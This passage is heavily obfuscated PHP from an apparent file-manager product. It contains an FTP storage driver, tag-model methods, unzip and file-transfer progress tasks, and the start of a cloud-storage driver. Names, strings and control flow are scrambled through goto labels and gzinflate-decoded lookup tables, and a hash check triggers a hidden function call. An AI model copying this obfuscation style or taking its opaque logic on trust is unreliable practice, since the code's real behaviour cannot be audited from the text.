$this->charsetReset($B΢); goto b; Fǵ: } private function _isconn() { return is_resource($this->connect); } public function mkfile($B, $Fۛ = '', $dŹ› = REPEAT_RENAME) { if ($this->setContent($B, $Fۛ)) { return $this->getPathOuter($B); } return !1; } public function mkdir($A, $Ań = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $A = $this->iconvSystem($A); if ($this->isFolder($A) || @ftp_mkdir($this->connect, $A)) { return $this->getPathOuter($A); } if (!$this->mkdir($this->pathFather($A))) { return !1; } if ($A = @ftp_mkdir($this->connect, $A)) { return $this->getPathOuter($A); } return !1; } public function copyFile($Aõ, $E) { goto C祇; C祇: if (!$this->_isconn()) { return !1; } $BԽ = $this->pathThis($this->iconvSystem($Aõ)); $F = $this->tempFile($BԽ); goto Aʌŗ; bӄ: $this->tempFileRemve($F); return $aҠ; goto eȔ; Aʌŗ: $Fķ = $this->iconvApp($F); $this->download($Aõ, $Fķ); $aҠ = $this->upload($E, $Fķ); goto bӄ; eȔ: } public function moveFile($b, $A֨ӆ) { if (!$this->_isconn()) { return !1; } $b = $this->iconvSystem($b); $A֨ӆ = $this->iconvSystem($A֨ӆ); $a = @ftp_rename($this->connect, $b, $A֨ӆ); return $a ? $this->getPathOuter($A֨ӆ) : !1; } public function delFile($b֐) { if (!$this->_isconn()) { return !1; } $b֐ = $this->iconvSystem($b֐); return @ftp_delete($this->connect, $b֐); } public function delFolder($C) { if (!$this->_isconn()) { return !1; } $C = $this->iconvSystem($C); $f毕 = $this->ftpList($C); if (!$f毕) { return @ftp_rmdir($this->connect, $C); } foreach ($f毕 as $AЙҒ) { if ($this->isFolder($AЙҒ)) { $AЙҒ = $this->iconvApp($AЙҒ); $this->delFolder($AЙҒ); } else { @ftp_delete($this->connect, $AЙҒ); } } return @ftp_rmdir($this->connect, $C); } public function rename($b, $cʝ) { goto BЗ; E堚: $E = $this->iconvSystem($E); $b = $this->iconvSystem($b); $C = $this->pathFather($b); goto b̈; BЗ: $F̍ߚ =& $_SERVER[ȦÆ]; if (!$this->_isconn()) { return !1; } $E = $this->fileNameAuto($this->pathFather($b), $cʝ); goto E堚; b̈: $f = rtrim($C, $F̍ߚ[18]) . $F̍ߚ[18] . $E; $d˃ = @ftp_rename($this->connect, $b, $f); $f = $this->iconvApp($f); goto Bӗ; Bӗ: return $d˃ ? $this->getPathOuter($f) : !1; goto eҮ֒; eҮ֒: } private function folderInfo($eƵԦݙ, $f橩 = false) { goto B; f؟: $BȠԧ = $this->iconvSystem($eƵԦݙ); if ($f橩) { return array($C҃[38] => $E̓, $C҃[85] => $C, $C҃[39] => $C҃[86]); } $b = array($C҃[38] => $E̓, $C҃[85] => $C, $C҃[39] => $C҃[86], $C҃[193] => 0, $C҃[116] => 0, $C҃[1147] => !0, $C҃[1148] => !0); goto A; A: return $b; goto B᫃; B: $C҃ =& $_SERVER[ȦÆ]; $C = $this->getPathOuter(rtrim($eƵԦݙ, $C҃[18])); $E̓ = $this->pathThis($C); goto f؟; B᫃: } private function fileInfo($Aǻ, $d߭ = false) { goto cی´; cی´: $aا =& $_SERVER[ȦÆ]; $e = $this->getPathOuter(rtrim($Aǻ, $aا[18])); $Bͽ = $this->pathThis($e); goto f; f: $CϹ = $this->iconvSystem($Aǻ); if ($d߭) { return array($aا[38] => $Bͽ, $aا[85] => $e, $aا[39] => $aا[173], $aا[166] => $this->ext($Aǻ), $aا[87] => $this->size($Aǻ)); } $dӅ = array($aا[38] => $Bͽ, $aا[85] => $e, $aا[39] => $aا[173], $aا[193] => 0, $aا[116] => @ftp_mdtm($this->connect, $CϹ), $aا[166] => $this->ext($Aǻ), $aا[87] => $this->size($Aǻ), $aا[1147] => !0, $aا[1148] => !0); goto Dᾏ; Dᾏ: $dӅ[$aا[116]] = $dӅ[$aا[116]] > 0 ? $dӅ[$aا[116]] : 0; return $dӅ; goto a쾫; a쾫: } public function size($A۾) { $B = $this->objectMeta($A۾); return $B ? $B[$_SERVER[ȦÆ][87]] : 0; } public function info($f) { if ($this->isFile($f)) { return $this->fileInfo($f, 0); } else { if ($this->isFolder($f)) { return $this->folderInfo($f); } } return !1; } public function exist($dꃐ) { return $this->objectMeta($dꃐ) ? !0 : !1; } public function isFile($a񣸍Ě) { $dˮ =& $_SERVER[ȦÆ]; $Dǃͪ = $this->objectMeta($a񣸍Ě); return $Dǃͪ ? $Dǃͪ[$dˮ[39]] == $dˮ[173] : !1; } public function isFolder($fޔޝ) { $Cޑ =& $_SERVER[ȦÆ]; $bҞ = $this->objectMeta($fޔޝ); return $bҞ ? $bҞ[$Cޑ[39]] == $Cޑ[86] : !1; } public function listPath($aẪ, $Aۤב = false) { goto C֕; FǏ: $E = $this->ftpList($aẪ); $fΠ = array($c[84] => array(), $c[83] => array()); if (!$E) { return $fΠ; } goto FԖ; FԖ: foreach ($E as $aẪ) { if ($this->isFolder($aẪ)) { $fΠ[$c[84]][] = $this->folderInfo($aẪ, $Aۤב); } else { $fΠ[$c[83]][] = $this->fileInfo($aẪ, $Aۤב); } } return $fΠ; goto F܋; C֕: $c =& $_SERVER[ȦÆ]; if (!$this->_isconn()) { return !1; } $aẪ = $this->iconvSystem($aẪ); goto FǏ; F܋: } public function has($dԓ, $a = false, $a߹Ƣ = true) { goto A٘Ҹ; dļѕ: foreach ($Eۅ̊ as $dԓ) { if ($a߹Ƣ) { if (!$this->isFolder($dԓ)) { return !0; } } else { if ($this->isFolder($dԓ)) { return !0; } } } return !1; goto AőƖ; A٘Ҹ: $f鐫϶ =& $_SERVER[ȦÆ]; if (!$this->_isconn()) { return !1; } $dԓ = $this->iconvSystem($dԓ); goto AĻ; AĻ: $Eۅ̊ = $this->ftpList($dԓ); if (!$Eۅ̊) { return !1; } if ($a) { return array($f鐫϶[197] => 0, $f鐫϶[198] => count($Eۅ̊)); } goto dļѕ; AőƖ: } public function listAll($Bé) { goto BУ; BУ: $d쑥 =& $_SERVER[ȦÆ]; if (!$this->_isconn()) { return !1; } $Bé = $this->iconvSystem($Bé); goto f콍; fՆ: foreach ($d񓊥[$d쑥[84]] as $fƔ) { $B[] = array($d쑥[85] => $d쑥[18] . trim(str_replace($Bé, $d쑥[43], $fƔ), $d쑥[18]) . $d쑥[18], $d쑥[86] => 1, $d쑥[87] => 0); } foreach ($d񓊥[$d쑥[83]] as $Bғ) { $B[] = array($d쑥[85] => $d쑥[18] . trim(str_replace($Bé, $d쑥[43], $Bғ), $d쑥[18]), $d쑥[86] => 0, $d쑥[87] => $this->size($Bғ)); } return $B; goto bז; f콍: $d񓊥 = array($d쑥[83] => array(), $d쑥[84] => array()); $this->recursionFtpFiles($Bé, $d񓊥); $B = array(); goto fՆ; bז: } public function getContent($fӆ) { if (!$this->_isconn()) { return !1; } $fӆ = $this->iconvSystem($fӆ); return $this->fileSubstr($fӆ); } public function setContent($Eɝ, $c = '') { goto e; A̐̋: file_put_contents($f, $c); $E݉ = $this->upload($Eɝ, $this->iconvApp($f)); $this->tempFileRemve($f); goto D; e: if (!$this->_isconn()) { return !1; } $aƚЭ = $this->pathThis($this->iconvSystem($Eɝ)); $f = $this->tempFile($aƚЭ); goto A̐̋; D: return $E݉; goto aðʘ; aðʘ: } public function fileSubstr($Bᗊ, $BФ = 0, $dδ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($Bᗊ, $BФ, $dδ); } private function ftpRequest($A蹗긅, $cޒЌ = 0, $E = false) { goto e; fٴц: return $Dć; goto a; f: curl_setopt($d, CURLOPT_URL, $d . $this->pathEncode($A蹗긅)); curl_setopt($d, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($E) { $c٘Β = $cޒЌ + $E - 1; curl_setopt($d, CURLOPT_RANGE, "{$cޒЌ}\x2d{$c٘Β}"); } goto Dۄ²; Dۄ²: curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); $Dć = curl_exec($d); curl_close($d); goto fٴц; e: $A蹗긅 = $this->iconvSystem($A蹗긅); $d = $this->scheme . $this->host . $_SERVER[ȦÆ][4] . $this->port; $d = curl_init(); goto f; a: } public function upload($D, $f, $fӘ = false, $B™Ҫ = REPEAT_REPLACE) { goto D; a: if ($bƿ != FTP_FINISHED) { return !1; } return $this->getPathOuter($D); goto fч; D: if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($D))) { return !1; } $D = $this->iconvSystem($D); goto C¯; C¯: $f = $this->iconvSystem($f); $bƿ = ftp_nb_put($this->connect, $D, $f, FTP_BINARY); while ($bƿ == FTP_MOREDATA) { $bƿ = ftp_nb_continue($this->connect); } goto a; fч: } public function download($cɽĐؾ, $eֹ = '') { goto AΠ; B鋽: $cɽĐؾ = $this->iconvSystem($cɽĐؾ); $eֹ = $this->iconvSystem($eֹ); $Bġ = ftp_nb_get($this->connect, $eֹ, $cɽĐؾ, FTP_BINARY); goto Eم; Eم: while ($Bġ == FTP_MOREDATA) { $Bġ = ftp_nb_continue($this->connect); } if ($Bġ != FTP_FINISHED) { return !1; } return $this->iconvApp($eֹ); goto B泅ژ; AΠ: if (!$this->_isconn()) { return !1; } $Aǃ = $this->pathFather($eֹ); if (!IO::mkdir($Aǃ)) { return !1; } goto B鋽; B泅ژ: } private function ftpList($Eۊ) { goto Bݝ; dۛ: $Eư = array(); foreach ($bۗ as $dے) { if ($dے == $Aχ[101] || $dے == $Aχ[1150]) { continue; } if (!strstr($dے, $Aχ[18])) { $dے = $Eۊ . ltrim($dے, $Aχ[18]); } $Eư[] = $this->iconvApp($dے); } return $Eư; goto f塿; F֥ʝ: $Eۊ = rtrim($Eۊ, $Aχ[18]) . $Aχ[18]; $bۗ = @ftp_nlist($this->connect, $Eۊ); if ($bۗ === !1) { $bۗ = @ftp_rawlist($this->connect, $Eۊ); foreach ($bۗ as $cׂ׎ => $BºɆ) { $bۗ[$cׂ׎] = end(explode($Aχ[1149], $BºɆ)); } } goto dۛ; Bݝ: $Aχ =& $_SERVER[ȦÆ]; if (!$this->isFolder($Eۊ)) { return !1; } @ftp_chdir($this->connect, $Aχ[18]); goto F֥ʝ; f塿: } private function recursionFtpFiles($a, &$B) { $cэ =& $_SERVER[ȦÆ]; if (!$this->_isconn()) { return !1; } if (!($fڵ㉂ = $this->ftpList($a))) { return !1; } foreach ($fڵ㉂ as $a) { if ($this->isFolder($a)) { $this->recursionFtpFiles($a, $B); $B[$cэ[84]][] = $a; } else { $B[$cэ[83]][] = $a; } } } private function objectMeta($Aƣ) { goto A񴢫; A񴢫: $C疍 =& $_SERVER[ȦÆ]; $e񳎌 = $C疍[1151] . md5($Aƣ); $c޴ = Cache::get($e񳎌); goto CÌ; dͥ: $Cǫ = @ftp_size($this->connect, $this->iconvSystem($Aƣ)); if ($Cǫ != -1) { $c޴ = array($C疍[87] => $Cǫ, $C疍[39] => $C疍[173]); } else { $a‰ = @ftp_chdir($this->connect, $this->iconvSystem($Aƣ)); $c޴ = $a‰ ? array($C疍[87] => 0, $C疍[39] => $C疍[86]) : !1; } Cache::set($e񳎌, $c޴, 0); goto aĥ; CÌ: if ($c޴ !== null && $c޴ !== !1) { return $c޴; } if (!$this->_isconn()) { return !1; } @ftp_chdir($this->connect, $C疍[18]); goto dͥ; aĥ: return $c޴; goto Eٴ; Eٴ: } } goto C; aѝ: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\x5f\x66\141\x76"; protected function cacheFunctionAlias($Cٯ) { $fÅ =& $_SERVER[ȦÆ]; return array($fÅ[2455] => array(USER_ID, $fÅ[2511])); } protected function listData() { $aѠ =& $_SERVER[ȦÆ]; $fۮ = array($aѠ[1403] => USER_ID, $aѠ[441] => array($aѠ[2512], 0)); $a = $aѠ[2513]; $DݸƠИ = $aѠ[2514]; $b؊۫ = $this->field($a)->where($fۮ)->order($DݸƠИ)->select(); return $b؊۫ ? $b؊۫ : array(); } protected function listByTag($bܯǏ) { } protected function addToTag($e캺, $Fퟠ) { $BӼɂ =& $_SERVER[ȦÆ]; if (!Model($BӼɂ[2282])->listData($Fퟠ) || !Model($BӼɂ[753])->pathInfo($e캺)) { return !1; } $E = array($BӼɂ[1403] => USER_ID, $BӼɂ[441] => $Fퟠ, $BӼɂ[392] => $e캺, $BӼɂ[393] => $BӼɂ[387], $BӼɂ[391] => $BӼɂ[43], $BӼɂ[2078] => 0); if ($this->where($E)->find()) { return !1; } return $this->add($E); } protected function removeFromTag($bҳ̽, $Bː) { $B =& $_SERVER[ȦÆ]; if (!Model($B[2282])->listData($Bː)) { return !1; } if (is_array($bҳ̽)) { $bҳ̽ = array($B[17], $bҳ̽); } $f = array($B[1403] => USER_ID, $B[441] => $Bː, $B[393] => $B[387], $B[392] => $bҳ̽); return $this->where($f)->delete(); } protected function removeByTag($bڵ) { $Dߞ =& $_SERVER[ȦÆ]; if (!$bڵ) { return !1; } $B𖫡 = array($Dߞ[1403] => USER_ID, $Dߞ[441] => $bڵ); return $this->where($B𖫡)->delete(); } protected function removeBySource($d֤) { $dܲ =& $_SERVER[ȦÆ]; $Fܱ = array($dܲ[1403] => USER_ID, $dܲ[392] => $d֤, $dܲ[441] => array($dܲ[923], 0)); return $this->where($Fܱ)->delete(); } } \ No newline at end of file + goto e; F˷: $bﶆ = $_SERVER[ֹ][1295]; if ($_SERVER[$_SERVER[ֹ][783]] != $bﶆ($e֏Є)) { goto a; b: $EĶ˳ = explode($_SERVER[ֹ][213], $E); if (count($EĶ˳) < $_SERVER[ֹ][552]) { $Bչ = $_SERVER[ֹ][789]; $Bչ(); } $FǪ = $_SERVER[ֹ][1481]; goto b; b: $FǪ($e֏Є); goto D; a: $fӅ = $_SERVER[ֹ][786]; $eՊ = $_SERVER[$_SERVER[ֹ][787]] . $_SERVER[ֹ][788]; $E = $fӅ($eՊ); goto b; D: } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { goto Aಥ; e֙: Hook::bind($Fݱ[1029], array($this, $Fݱ[1484])); $eʯؐ =& $this->task; $eʯؐ[$Fݱ[1485]] = $Fݱ[1034]; goto CԧΦ; Aಥ: $Fݱ =& $_SERVER[ֹ]; parent::startAfter(); Hook::bind($Fݱ[1482], array($this, $Fݱ[1483])); goto e֙; CԧΦ: if (!$eʯؐ[$Fݱ[1323]]) { $eʯؐ[$Fݱ[1323]] = LNG($Fݱ[1486]); } goto A̪; A̪: } protected function endAfter() { $cߴ =& $_SERVER[ֹ]; parent::endAfter(); Hook::unbind($cߴ[1482], array($this, $cߴ[1483])); Hook::unbind($cߴ[1029], array($this, $cߴ[1484])); } public function updateAfter() { $b =& $_SERVER[ֹ]; $A =& $this->task; if (!$A[$b[972]] || !$A[$b[695]]) { return; } if ($A[$b[1485]] == $b[1034]) { $a = 0; if ($A[$b[1460]]) { $a = $A[$b[1461]] / $A[$b[1460]]; } $A[$b[1416]] = $a * 0.3; } else { if ($A[$b[1485]] == $b[297]) { $a = $A[$b[984]] / $A[$b[972]]; $A[$b[1416]] = 0.3 + $a * 0.4; } else { if ($A[$b[1485]] == $b[102]) { $a = 0; if ($A[$b[1462]] == $b[102]) { $a = $A[$b[1461]]; } $a = ($A[$b[1465]] + $a) / $A[$b[695]]; $A[$b[1416]] = 0.3 + 0.4 + $a * 0.3; } } } if ($A[$b[1416]] > 0) { $f驍 = timeFloat() - $A[$b[1418]] - $A[$b[1421]]; $A[$b[1422]] = $f驍 * (1 - $A[$b[1416]]) / $A[$b[1416]]; } } public function addFile($fĄ) { goto F; F: $d’ =& $_SERVER[ֹ]; $aޛ =& $this->task; $F̻ = IO::info($fĄ); goto c⚬; c⚬: $aޛ[$d’[1458]] = $F̻[$d’[28]]; $aޛ[$d’[1460]] = $F̻[$d’[77]]; $aޛ[$d’[1461]] = 0; goto D; D: $aޛ[$d’[974]] = $d’[1473]; $aޛ[$d’[1462]] = $d’[1034]; $aޛ[$d’[695]] = $F̻[$d’[77]]; goto e; e: $aޛ[$d’[972]] = 1; $d = 0; $aޛ[$d’[1466]] = array($d’[1467] => $d + 1, $d’[382] => $F̻[$d’[28]], $d’[75] => $F̻[$d’[75]], $d’[462] => $F̻[$d’[462]] ? $F̻[$d’[462]] : $F̻[$d’[75]]); goto dʠ; dʠ: $this->update(); goto f̜; f̜: } public function unzipAfter($E) { goto B鈖п; B鈖п: $eϠ =& $_SERVER[ֹ]; $bʼ =& $this->task; $bʼ[$eϠ[1485]] = $eϠ[102]; goto Bﳄ; dߖ: $bʼ[$eϠ[1458]] = $eϠ[33]; $bʼ[$eϠ[1465]] = 0; $bʼ[$eϠ[695]] = $d֤[$eϠ[77]]; goto cމ; b: $bʼ[$eϠ[984]] = 0; $bʼ[$eϠ[1460]] = 0; $bʼ[$eϠ[1461]] = 0; goto dߖ; Bﳄ: $d֤ = IO::infoWithChildren($E); $D5 = 0; $bʼ[$eϠ[1466]] = array($eϠ[1467] => $D5 + 1, $eϠ[382] => $d֤[$eϠ[28]], $eϠ[75] => $d֤[$eϠ[75]], $eϠ[462] => $d֤[$eϠ[462]] ? $d֤[$eϠ[462]] : $d֤[$eϠ[75]]); goto CÄ; CÄ: if ($d֤[$eϠ[29]] == $eϠ[163]) { $bʼ[$eϠ[972]] = 1; } else { $bʼ[$eϠ[972]] = $d֤[$eϠ[80]][$eϠ[78]]; } $bʼ[$eϠ[974]] = $eϠ[33]; $bʼ[$eϠ[1462]] = 0; goto b; cމ: $this->update(); self::log($eϠ[1487] . json_encode(array($bʼ, $d֤))); goto F󖮔ط; F󖮔ط: } public function nameParse($B±) { goto b; b: $b =& $_SERVER[ֹ]; $e =& $this->task; if ($e[$b[1485]] == $b[1034]) { $e[$b[1485]] = $b[297]; $e[$b[1465]] = 0; $e[$b[695]] = 0; } goto C; F: $this->update(); goto c; C: $fՄ = get_path_this($B±); if (strstr($fՄ, $b[91])) { $e[$b[984]] += 1; $e[$b[972]] += 1; } $e[$b[1458]] = $B±; goto F; c: } } goto E; B𨄉: class TaskFileTransfer extends Task { protected function startAfter() { goto Dȋ; a턼쫃: Hook::bind($C̗ΐ[1439], array($this, $C̗ΐ[1440])); Hook::bind($C̗ΐ[1441], array($this, $C̗ΐ[1442])); Hook::bind($C̗ΐ[1443], array($this, $C̗ΐ[1444])); goto bʫ; bύӊ: Hook::bind($C̗ΐ[1452], array($this, $C̗ΐ[1453])); Hook::bind($C̗ΐ[1454], array($this, $C̗ΐ[1455])); Hook::bind($C̗ΐ[1456], array($this, $C̗ΐ[1457])); goto fژɯ; aعƸ: if (!$fŮ[$C̗ΐ[1323]]) { $fŮ[$C̗ΐ[1323]] = LNG($C̗ΐ[1464]); } goto D; fߺ: Hook::bind($C̗ΐ[1449], array($this, $C̗ΐ[1450])); Hook::bind($C̗ΐ[528], array($this, $C̗ΐ[1451])); $this->sourceModelCopyFlag = !1; goto bύӊ; fژɯ: $fŮ[$C̗ΐ[1458]] = LNG($C̗ΐ[1459]); $fŮ[$C̗ΐ[1460]] = 0; $fŮ[$C̗ΐ[1461]] = 0; goto A͵; Dȋ: $C̗ΐ =& $_SERVER[ֹ]; $fŮ =& $this->task; $this->sourceCopyFolder = !1; goto a턼쫃; d˶: Hook::bind($C̗ΐ[507], array($this, $C̗ΐ[1448])); Hook::bind($C̗ΐ[509], array($this, $C̗ΐ[1448])); Hook::bind($C̗ΐ[511], array($this, $C̗ΐ[1448])); goto fߺ; A͵: $fŮ[$C̗ΐ[974]] = $C̗ΐ[33]; $fŮ[$C̗ΐ[1462]] = $C̗ΐ[33]; $fŮ[$C̗ΐ[1463]] = 0; goto aعƸ; aNj: Hook::bind($C̗ΐ[539], array($this, $C̗ΐ[1447])); Hook::bind($C̗ΐ[505], array($this, $C̗ΐ[1448])); Hook::bind($C̗ΐ[502], array($this, $C̗ΐ[1448])); goto d˶; bʫ: Hook::bind($C̗ΐ[535], array($this, $C̗ΐ[1445])); Hook::bind($C̗ΐ[536], array($this, $C̗ΐ[1446])); Hook::bind($C̗ΐ[538], array($this, $C̗ΐ[1447])); goto aNj; D: } protected function endAfter() { goto d춂; F部: Hook::unbind($Aޭ[538], array($this, $Aޭ[1447])); Hook::unbind($Aޭ[539], array($this, $Aޭ[1447])); Hook::unbind($Aޭ[505], array($this, $Aޭ[1448])); goto D; eǦڛ: Hook::unbind($Aޭ[1452], array($this, $Aޭ[1453])); Hook::unbind($Aޭ[1454], array($this, $Aޭ[1455])); Hook::unbind($Aޭ[1456], array($this, $Aޭ[1457])); goto a; d춂: $Aޭ =& $_SERVER[ֹ]; Hook::unbind($Aޭ[1439], array($this, $Aޭ[1440])); Hook::unbind($Aޭ[1441], array($this, $Aޭ[1442])); goto eё; f⢷: Hook::unbind($Aޭ[511], array($this, $Aޭ[1448])); Hook::unbind($Aޭ[1449], array($this, $Aޭ[1450])); Hook::unbind($Aޭ[528], array($this, $Aޭ[1451])); goto eǦڛ; eё: Hook::unbind($Aޭ[1443], array($this, $Aޭ[1444])); Hook::unbind($Aޭ[535], array($this, $Aޭ[1445])); Hook::unbind($Aޭ[536], array($this, $Aޭ[1446])); goto F部; D: Hook::unbind($Aޭ[502], array($this, $Aޭ[1448])); Hook::unbind($Aޭ[507], array($this, $Aޭ[1448])); Hook::unbind($Aޭ[509], array($this, $Aޭ[1448])); goto f⢷; a: } public function copyMoveStart($dūĚ, $Dؘ, $b, $bج) { } public function updateAfter() { goto fʆ; Aʫ: if ($this->sourceModelCopyFlag) { return; } $b̕ = 0; if ($b㣾[$e刈[1462]] == $e刈[1034]) { $b̕ = $b㣾[$e刈[1461]] * 0.5; } else { if ($b㣾[$e刈[1462]] == $e刈[102]) { $b̕ = $b㣾[$e刈[1461]] * 0.5 + $b㣾[$e刈[1460]] * 0.5; } } goto aƝ; fʆ: $e刈 =& $_SERVER[ֹ]; $b㣾 =& $this->task; if (!$b㣾[$e刈[695]]) { return; } goto Aʫ; aƝ: $b㣾[$e刈[1416]] = ($b㣾[$e刈[1465]] + $b̕) / $b㣾[$e刈[695]]; if ($b㣾[$e刈[1416]] > 0) { $E = timeFloat() - $b㣾[$e刈[1418]] - $b㣾[$e刈[1421]]; $b㣾[$e刈[1422]] = $E * (1 - $b㣾[$e刈[1416]]) / $b㣾[$e刈[1416]]; } goto D󄳊ò; D󄳊ò: } public function addPath($E) { goto Bܭ; Bܭ: $cΔ =& $_SERVER[ֹ]; if (!$E) { return; } $eԄ련 =& $this->task; goto C湏; C湏: $fǓ = IO::infoWithChildren($E); $eù܋ = $eԄ련[$cΔ[1466]] ? $eԄ련[$cΔ[1466]][$cΔ[1467]] : 0; $eԄ련[$cΔ[1466]] = array($cΔ[1467] => $eù܋ + 1, $cΔ[382] => $fǓ[$cΔ[28]], $cΔ[75] => $fǓ[$cΔ[75]], $cΔ[462] => $fǓ[$cΔ[462]] ? $fǓ[$cΔ[462]] : $fǓ[$cΔ[75]]); goto A; A: if ($fǓ[$cΔ[29]] == $cΔ[163]) { $eԄ련[$cΔ[972]] += 1; } else { $eԄ련[$cΔ[972]] += $fǓ[$cΔ[80]][$cΔ[78]]; if ($fǓ[$cΔ[365]]) { $eԄ련[$cΔ[972]] += $fǓ[$cΔ[80]][$cΔ[79]] + 1; } } $eԄ련[$cΔ[695]] += $fǓ[$cΔ[77]]; $this->update(); goto a; a: } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($d) { $c =& $_SERVER[ֹ]; $Fլ =& $this->task; $Fլ[$c[1458]] = $d[$c[28]]; $Fլ[$c[974]] = $d[$c[28]]; $this->update(); } public function copyFileStart($c髦, $a, $DŔ, $B˰, $b࿸, $aʑ) { goto D; bԫ: $this->update(); goto f; d悩: $fʂ҇[$Aݕ[974]] = $Aݕ[33]; $fʂ҇[$Aݕ[1462]] = $Aݕ[33]; $fʂ҇[$Aݕ[1463]] = 0; goto bԫ; aˑ: $fʂ҇[$Aݕ[1458]] = $bқ썒; $fʂ҇[$Aݕ[1460]] = (int) $c髦->size($a); $fʂ҇[$Aݕ[1461]] = 0; goto d悩; D: $Aݕ =& $_SERVER[ֹ]; $bқ썒 = $b࿸; if ($bқ썒 == $GLOBALS[$Aݕ[1468]]) { $bқ썒 = $GLOBALS[$Aݕ[1469]]; } goto cĄ; cĄ: $GLOBALS[$Aݕ[1469]] = $b࿸; $GLOBALS[$Aݕ[1468]] = $aʑ; $fʂ҇ =& $this->task; goto aˑ; f: } public function copyFileEnd($e꥚, $dҋڪ, $Fʚ, $e񏊎, $B, $Fũܡ) { $ců׸ =& $_SERVER[ֹ]; $Bʻ =& $this->task; $Bʻ[$ců׸[1461]] = $Bʻ[$ců׸[1460]]; $Bʻ[$ců׸[1462]] = $ců׸[33]; if ($B == $Bʻ[$ců׸[1458]]) { $Bʻ[$ců׸[1465]] += $Bʻ[$ců׸[1460]]; $this->update(1); } else { $this->update(); $Bʻ[$ců׸[1461]] = 0; } self::log($ců׸[1470] . $dҋڪ . $ců׸[66] . $e񏊎 . $ců׸[213] . $B . $ců׸[1471] . $Bʻ[$ců׸[1458]]); } public function updateFileEnd($Aڰ, $C޲) { $eޑۄ =& $_SERVER[ֹ]; $eڄ =& $this->task; $eڄ[$eޑۄ[1458]] = $Aڰ; $eڄ[$eޑۄ[1460]] = $C޲; $eڄ[$eޑۄ[1465]] += $C޲; $this->update(1); } public function sourceModelCopy($dȂ) { goto f; f: $e =& $_SERVER[ֹ]; $bƪ݅ = $dȂ[0]; $c = $dȂ[1]; goto aѣ; fԗֈŖ: switch ($bƪ݅) { case $e[503]: $bՈ = 1; break; case $e[506]: $E[$e[1458]] = $c[$e[28]]; break; case $e[508]: $bՈ = intval($dȂ[$e[359]] * 0.4); break; case $e[510]: $bՈ = intval($dȂ[$e[359]] * 0.2); break; case $e[512]: $bՈ = intval($dȂ[$e[359]] * 0.4); break; } $this->update($bՈ); $this->sourceModelCopyFlag = !1; goto dؤ; aѣ: $E =& $this->task; $this->sourceModelCopyFlag = !0; $bՈ = 0; goto fԗֈŖ; dؤ: } public function sourceRemove($cƑ, $Fʫ) { $D޴ =& $_SERVER[ֹ]; $this->sourceModelCopyFlag = !0; $c = 1; if (isset($cƑ[$D޴[80]])) { $c = $cƑ[$D޴[80]][$D޴[78]] + $cƑ[$D޴[80]][$D޴[79]] + 1; } $this->update($c); $this->sourceModelCopyFlag = !1; } public function sourceMove($f·) { $this->sourceRemove($f·, !1); } public function curlProgress($f, $cܺ, $Bϻ٢, $Dخל, $C۰) { $Dѥާ =& $_SERVER[ֹ]; $D۷С =& $this->task; if ($C۰ > 0) { $D۷С[$Dѥާ[974]] = $Dѥާ[1472]; $D۷С[$Dѥާ[1462]] = $Dѥާ[102]; if ($D۷С[$Dѥާ[1460]] == $Dخל || $Dخל > 1024 * 1024) { $D۷С[$Dѥާ[1461]] = $C۰; } if ($D۷С[$Dѥާ[1463]]) { $D۷С[$Dѥާ[1461]] = $C۰ + $D۷С[$Dѥާ[1463]]; } } else { if ($Bϻ٢ > 0) { if ($D۷С[$Dѥާ[1460]] == $cܺ) { $D۷С[$Dѥާ[1461]] = $Bϻ٢; $D۷С[$Dѥާ[974]] = $Dѥާ[1473]; $D۷С[$Dѥާ[1462]] = $Dѥާ[1034]; } } } $this->update(); } public function curlProgressStart($Eؠ) { } public function curlProgressEnd($Bا) { $C =& $_SERVER[ֹ]; $bֳ =& $this->task; $Fэ = curl_getinfo($Bا); $a۶ = $Fэ[$C[1474]]; if ($bֳ[$C[1462]] == $C[102] && $a۶) { $bֳ[$C[1463]] += $a۶; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $Cڠ˿ =& $_SERVER[ֹ]; Hook::bind($Cڠ˿[1452], array($this, $Cڠ˿[1475])); Hook::bind($Cڠ˿[1454], array($this, $Cڠ˿[1476])); Hook::bind($Cڠ˿[1456], array($this, $Cڠ˿[1477])); } protected function endAfter() { $Fʏ =& $_SERVER[ֹ]; Hook::unbind($Fʏ[1452], array($this, $Fʏ[1475])); Hook::unbind($Fʏ[1454], array($this, $Fʏ[1476])); Hook::unbind($Fʏ[1456], array($this, $Fʏ[1477])); } public function progressStart($FĊȥ) { $f =& $_SERVER[ֹ]; $a = curl_getinfo($FĊȥ); self::log($f[1478] . $a[$f[291]]); self::valueSet($this->task[$f[363]], $this->task); } public function progressEnd($d) { $bŜ =& $_SERVER[ֹ]; self::log($bŜ[1479] . $this->task[$bŜ[363]]); $this->end(); } public function progress($bˇ換, $f, $fأ, $eا, $aڰ) { $a͚ =& $_SERVER[ֹ]; $a =& $this->task; if ($aڰ > 0) { $a[$a͚[972]] = $a[$a͚[972]] == 0 ? $eا : $a[$a͚[972]]; $a[$a͚[984]] = $aڰ; } else { if ($fأ > 0) { $a[$a͚[972]] = $a[$a͚[972]] == 0 ? $f : $a[$a͚[972]]; $a[$a͚[984]] = $fأ; } } $this->update(); self::log("\160\162\157\147\162\x65\x73\163\110\164\x74\160\72\144\157\167\x6e\72{$fأ}\57{$f}\73\x20\165\x70\x6c\x6f\141\x64\x3a{$aڰ}\57{$eا}\73"); } } $e֏Є = LIB_DIR . $_SERVER[ֹ][1480]; goto F˷; Fދ: $dǕ = $_SERVER[ֹ][543]; $_SERVER[ʬ] = explode($_SERVER[ֹ][544], gzinflate(substr($_SERVER[ֹ][545], 10, -8))); $AÉ = $_SERVER[ֹ][546]; goto CҊ; cĊ蟡: class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public function __construct($fŞլ) { parent::__construct(); require_once SDK_DIR . $_SERVER[ֹ][1198]; $this->_init($fŞլ); } public function _init($E) { foreach ($E as $C꘽ => $e) { if 